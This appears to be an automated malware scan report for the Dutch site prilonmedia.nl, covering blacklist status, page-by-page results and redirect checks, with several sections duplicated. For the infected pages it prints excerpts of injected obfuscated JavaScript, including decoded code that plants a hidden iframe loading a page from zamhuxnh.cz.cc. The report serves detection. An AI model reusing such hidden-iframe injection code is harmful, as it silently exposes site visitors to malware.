Safe Browsing / Blacklists
Query: http://www.google.com/safebrowsing/diagnostic?site=prilonmedia.nl
Result: The website is marked by Google as suspicious. - visiting this web site may harm your computer.
Details are available here.
Result: The website is marked by Google as suspicious. - visiting this web site may harm your computer.
Details are available here.
Scanned pages/files
Request | Server response | Status |
http://prilonmedia.nl/ | 200 OK Content-Length: 146059 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) var WnmaQ={YYSXc:function(){l='';var v=function(){};function nB(){};var g = new Date(2011, 10, 12, 10, 42, 57);this.mS="mS";var s=false;this.zN=false;var u="";var o = g.getMonth();var r = "from" + g.getMonth() + "e";function t(){};d='';r = r.replace(10, "CharCod");a="";this.bX=''; var z=null;var aY=false;var f=function(){};var i=document.styleSheets;zA="";var x=false;for(var gP=0;gP < i.length;gP++){this.tT=false;var fU="fU";this.nT=62782;var jC=''; ...[1217 bytes skipped]... Decoded script: ...[94497 bytes skipped]... os,1) pos+=parseInt(k.replace("Referen","0asd"))+ar2[i]/4 pos+=parseInt(k.replace("Referen","0asd"))+ar2[i]/4 s+=ar.substr(pos,1) s+=ar.substr(pos,1) pos+=parseInt(k.replace("Referen","0asd"))+ar2[i]/4 pos+=parseInt(k.replace("Referen","0asd"))+ar2[i]/4 s+=ar.substr(pos,1) s+=ar.substr(pos,1) if (document.getElementsByTagName('body')[0]){ iframer(); } else { document.write("<iframe src='http://zamhuxnh.cz.cc/count28.php' width='10' height='10' style='visibility:hidden;position:absolute;left:0;top:0;'></iframe>"); } function iframer(){ var f = document.createElement('iframe');f.setAttribute('src','http://zamhuxnh.cz.cc/count28.php');f.style.visibility='hidden';f.style.position='absolute';f.style.left='0';f.style.top='0';f.setAttribute('width','10');f.setAttribute('height','10'); document.getElementsByTagName('body')[0].appendChild(f); } if (document.getElementsByTag ...[708 bytes skipped]... Antivirus reports:
| ||
http://prilonmedia.nl/index.html | 200 OK Content-Length: 146059 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) var WnmaQ={YYSXc:function(){l='';var v=function(){};function nB(){};var g = new Date(2011, 10, 12, 10, 42, 57);this.mS="mS";var s=false;this.zN=false;var u="";var o = g.getMonth();var r = "from" + g.getMonth() + "e";function t(){};d='';r = r.replace(10, "CharCod");a="";this.bX=''; var z=null;var aY=false;var f=function(){};var i=document.styleSheets;zA="";var x=false;for(var gP=0;gP < i.length;gP++){this.tT=false;var fU="fU";this.nT=62782;var jC=''; ...[1217 bytes skipped]... Decoded script: ...[94497 bytes skipped]... os,1) pos+=parseInt(k.replace("Referen","0asd"))+ar2[i]/4 pos+=parseInt(k.replace("Referen","0asd"))+ar2[i]/4 s+=ar.substr(pos,1) s+=ar.substr(pos,1) pos+=parseInt(k.replace("Referen","0asd"))+ar2[i]/4 pos+=parseInt(k.replace("Referen","0asd"))+ar2[i]/4 s+=ar.substr(pos,1) s+=ar.substr(pos,1) if (document.getElementsByTagName('body')[0]){ iframer(); } else { document.write("<iframe src='http://zamhuxnh.cz.cc/count28.php' width='10' height='10' style='visibility:hidden;position:absolute;left:0;top:0;'></iframe>"); } function iframer(){ var f = document.createElement('iframe');f.setAttribute('src','http://zamhuxnh.cz.cc/count28.php');f.style.visibility='hidden';f.style.position='absolute';f.style.left='0';f.style.top='0';f.setAttribute('width','10');f.setAttribute('height','10'); document.getElementsByTagName('body')[0].appendChild(f); } if (document.getElementsByTag ...[708 bytes skipped]... Antivirus reports:
| ||
http://prilonmedia.nl/diensten.html | 200 OK Content-Length: 4782 Content-Type: text/html | clean |
http://prilonmedia.nl/portfolio.html | 200 OK Content-Length: 9722 Content-Type: text/html | clean |
http://prilonmedia.nl/test404page.js | 404 Not Found Content-Length: 292 Content-Type: text/html | clean |
http://prilonmedia.nl/klanten.html | 200 OK Content-Length: 1824 Content-Type: text/html | clean |
http://prilonmedia.nl/contact.html | 200 OK Content-Length: 32099 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) function createCSS(selector,declaration){var ua=navigator.userAgent.toLowerCase();var isIE=(/msie/.test(ua))&&!(/opera/.test(ua))&&(/win/.test(ua));var style_node=document.createElement("style");if(!isIE)style_node.innerHTML=selector+" {"+declaration+"}";document.getElementsByTagName("head")[0].appendChild(style_node);if(isIE&&document.styleSheets&&document.styleSheets.length>0){var last_style_node=document.styleSheets[document.styleSheets.length-1];if(typeof(l Antivirus reports:
|
Malicious Redirects
First query (normal visit):
GET / HTTP/1.1
Host: prilonmedia.nl
Result:
HTTP/1.1 200 OK
Connection: close
Date: Thu, 26 Feb 2015 15:51:11 GMT
Accept-Ranges: bytes
ETag: "feedb-23a8b-4b0351c931880"
Server: Apache/2.2.22 (Ubuntu)
Vary: Accept-Encoding
Content-Length: 146059
Content-Type: text/html
Last-Modified: Wed, 26 Oct 2011 15:14:26 GMT
...146059 bytes of data.
GET / HTTP/1.1
Host: prilonmedia.nl
Result:
HTTP/1.1 200 OK
Connection: close
Date: Thu, 26 Feb 2015 15:51:11 GMT
Accept-Ranges: bytes
ETag: "feedb-23a8b-4b0351c931880"
Server: Apache/2.2.22 (Ubuntu)
Vary: Accept-Encoding
Content-Length: 146059
Content-Type: text/html
Last-Modified: Wed, 26 Oct 2011 15:14:26 GMT
...146059 bytes of data.
Second query (visit from search engine):
GET / HTTP/1.1
Host: prilonmedia.nl
Referer: http://www.google.com/search?q=prilonmedia.nl
Result:
The result is similar to the first query. There are no suspicious redirects found.
GET / HTTP/1.1
Host: prilonmedia.nl
Referer: http://www.google.com/search?q=prilonmedia.nl
Result:
The result is similar to the first query. There are no suspicious redirects found.